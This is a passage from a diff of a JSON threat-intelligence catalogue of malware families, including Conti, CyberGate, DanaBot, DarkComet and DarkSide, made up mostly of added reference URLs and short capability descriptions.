"https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", + "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://twitter.com/TheDFIRReport/status/1498642512935800833", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", + "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", + "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", + "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", + "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/" ], "synonyms": [], "type": [] }, "uuid": "c9dca6f3-2a84-4abe-8f33-ccb7a7a0246c", - "value": "Conti" + "value": "Conti (Windows)" }, { "description": "FireEye described this malware as a proxy-aware backdoor that communicates using a custom-encrypted binary protocol. It may use the registry to store optional configuration data. The backdoor has been observed to support 26 commands that include directory traversal, file system manipulation, data archival and transmission, and command execution.", @@ -13968,10 +16939,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "http://malware.prevenity.com/2014/08/malware-info.html", "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html" ], "synonyms": [ @@ -14006,6 +16978,7 @@ "https://www.youtube.com/watch?v=1WfPlgtfWnQ", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://vblocalhost.com/uploads/VB2020-20.pdf", + "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf" @@ -14031,6 +17004,19 @@ "uuid": "e8986c0c-2997-425d-ae4e-529f82d3fa48", "value": "Covicli" }, + { + "description": "Destructive \"joke\" malware that ultimately deploys a wiper for the MBR.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22", + "https://www.fortinet.com/blog/threat-research/to-joke-or-not-to-joke-covid-22-brings-disaster-to-mbr" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d4796a4f-63f0-42f0-a043-fb91416c29d2", + "value": "Covid22" + }, { "description": "", "meta": { @@ -14132,24 +17118,33 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson", "https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/", "https://anchorednarratives.substack.com/p/trouble-in-asia-and-the-middle-east", "https://twitter.com/teamcymru/status/1351228309632385027", + "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", "https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/", "https://team-cymru.com/blog/2021/07/02/transparent-tribe-apt-infrastructure-mapping-2/", + "https://twitter.com/katechondic/status/1502206599166939137", + "https://www.secrss.com/articles/24995", "https://securelist.com/transparent-tribe-part-2/98233/", + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", "https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf", "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://www.4hou.com/posts/vLzM", + "https://twitter.com/teamcymru_S2/status/1501955802025836546", "https://blog.yoroi.company/research/transparent-tribe-four-years-later", "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", "https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ", "https://s.tencent.com/research/report/669.html", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1", "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", - "https://www.secrss.com/articles/24995", + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", "https://securelist.com/transparent-tribe-part-1/98127/", "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" @@ -14181,10 +17176,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cring", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf", "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", - "https://twitter.com/swisscom_csirt/status/1354052879158571008" + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html" ], "synonyms": [], "type": [] @@ -14246,6 +17242,7 @@ "https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/", "https://securelist.com/cis-ransomware/104452/", "https://twitter.com/albertzsigovits/status/1217866089964679174", + "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", "https://twitter.com/bartblaze/status/1305197264332369920", "https://www.telekom.com/en/blog/group/article/lockdata-auction-631300", "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", @@ -14305,7 +17302,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot", - "https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger" + "https://asec.ahnlab.com/en/31683/", + "https://fr3d.hk/blog/cryptbot-too-good-to-be-true", + "https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger", + "https://redcanary.com/wp-content/uploads/2021/12/KMSPico-V5.pdf", + "https://asec.ahnlab.com/en/35981/", + "https://asec.ahnlab.com/en/24423/", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/", + "https://asec.ahnlab.com/en/26052/", + "https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/" ], "synonyms": [], "type": [] @@ -14548,14 +17555,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-cuba-ransomware/", + "https://www.trendmicro.com/en_us/research/22/f/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html", "https://id-ransomware.blogspot.com/2019/12/cuba-ransomware.html", - "https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group+-+on+a+roll.pdf", + "https://lab52.io/blog/cuba-ransomware-analysis/", + "https://www.ic3.gov/Media/News/2021/211203-2.pdf", "https://blog.group-ib.com/hancitor-cuba-ransomware", + "https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group+-+on+a+roll.pdf", + "https://www.it-connect.fr/le-ransomware-cuba-sen-prend-aux-serveurs-exchange/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-threat-report-a-quick-primer-on-cuba-ransomware", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf" + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis", + "https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", + "https://www.mandiant.com/resources/unc2596-cuba-ransomware" + ], + "synonyms": [ + "COLDDRAW" ], - "synonyms": [], "type": [] }, "uuid": "6d9dfc5f-4ebf-404b-ab5e-e6497867fe65", @@ -14624,6 +17643,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet", "http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html", "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" ], "synonyms": [], @@ -14637,6 +17657,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail", + "https://darknetdiaries.com/episode/110/", "http://www.secureworks.com/research/threat-profiles/gold-essex", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", @@ -14658,16 +17679,18 @@ "value": "Cutwail" }, { - "description": "", + "description": "According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to\r\nthe victim’s system. Attackers can remotely connect to the compromised system from anywhere\r\naround the world. The Malware author generally uses this program to steal private information\r\nlike passwords, files, etc. It might also be used to install malicious software on the compromised\r\nsystems.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate", + "https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.subexsecure.com/pdf/malware-reports/2021-05/cybergate-threat-report.pdf", "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://citizenlab.ca/2015/12/packrat-report/", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" + "https://citizenlab.ca/2015/12/packrat-report/" ], "synonyms": [ "Rebhip" @@ -14804,12 +17827,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot", + "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", "https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/", - "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot", + "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", "https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", "https://securelist.com/financial-cyberthreats-in-2020/101638/", @@ -14818,16 +17843,26 @@ "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service", "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", + "https://asec.ahnlab.com/en/30445/", "https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0", + "https://www.mandiant.com/resources/supply-chain-node-js", + "https://twitter.com/f0wlsec/status/1459892481760411649", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/", "https://blog.lexfo.fr/danabot-malware.html", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", + "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", + "https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/", + "https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0", + "https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://security-soup.net/decoding-a-danabot-downloader/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/", "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/" ], @@ -14838,11 +17873,12 @@ "value": "DanaBot" }, { - "description": "", + "description": "Danbot is a backdoor malware that is originally written in C#. Recent versions of Danbot are written in C++. Danbot is capable of giving a remote attacker remote access features such as running a cmd command, upload and download files, move and copy files. The backdoor commands are transmitted by either using HTTP or DNS protocols. The commands are encapsulated in an XML file that gets stored in disk. Danbot's backdoor component picks up the XML file where it decodes and decrypts the commands.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot", "https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf", + "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", "https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f", @@ -14862,17 +17898,22 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://content.fireeye.com/apt/rpt-apt38", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", + "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html", "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/" ], "synonyms": [ @@ -14898,6 +17939,19 @@ "uuid": "8258311c-0d64-4c6b-ab94-915e2cc267f0", "value": "DarkIRC" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader", + "https://twitter.com/3xp0rtblog/status/1459081435361517585" + ], + "synonyms": [], + "type": [] + }, + "uuid": "269be5a3-471c-4a4b-a5d7-97ce75579213", + "value": "DarkLoader" + }, { "description": "", "meta": { @@ -14947,7 +18001,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat", - "https://github.com/albertzsigovits/malware-writeups/blob/master/DarkRATv2/README.md" + "https://github.com/albertzsigovits/malware-writeups/blob/master/DarkRATv2/README.md", + "https://fr3d.hk/blog/darkrat-hacking-a-malware-control-panel" ], "synonyms": [], "type": [] @@ -14960,7 +18015,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkshell-ddos-botnet-evolves-with-variants/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkshell-ddos-botnet-evolves-with-variants/", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf" ], "synonyms": [], "type": [] @@ -14976,13 +18032,18 @@ "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", + "https://www.youtube.com/watch?v=NIiEcOryLpI", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", @@ -14991,9 +18052,13 @@ "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.ic3.gov/Media/News/2021/211101.pdf", "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://asec.ahnlab.com/en/34549/", "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", @@ -15005,9 +18070,12 @@ "https://www.varonis.com/blog/darkside-ransomware/", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://zawadidone.nl/darkside-ransomware-analysis/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.databreaches.net/a-chat-with-darkside/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", "https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions", @@ -15018,31 +18086,38 @@ "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", "http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", "https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside", "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", - "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", "https://blog.group-ib.com/blackmatter#", "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", + "https://blog.group-ib.com/blackmatter2", "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", - "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://community.riskiq.com/article/fdf74f23", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", "https://us-cert.cisa.gov/ncas/alerts/aa21-131a", "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", + "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", "https://www.secureworks.com/research/threat-profiles/gold-waterfall", "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", @@ -15056,18 +18131,23 @@ "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", + 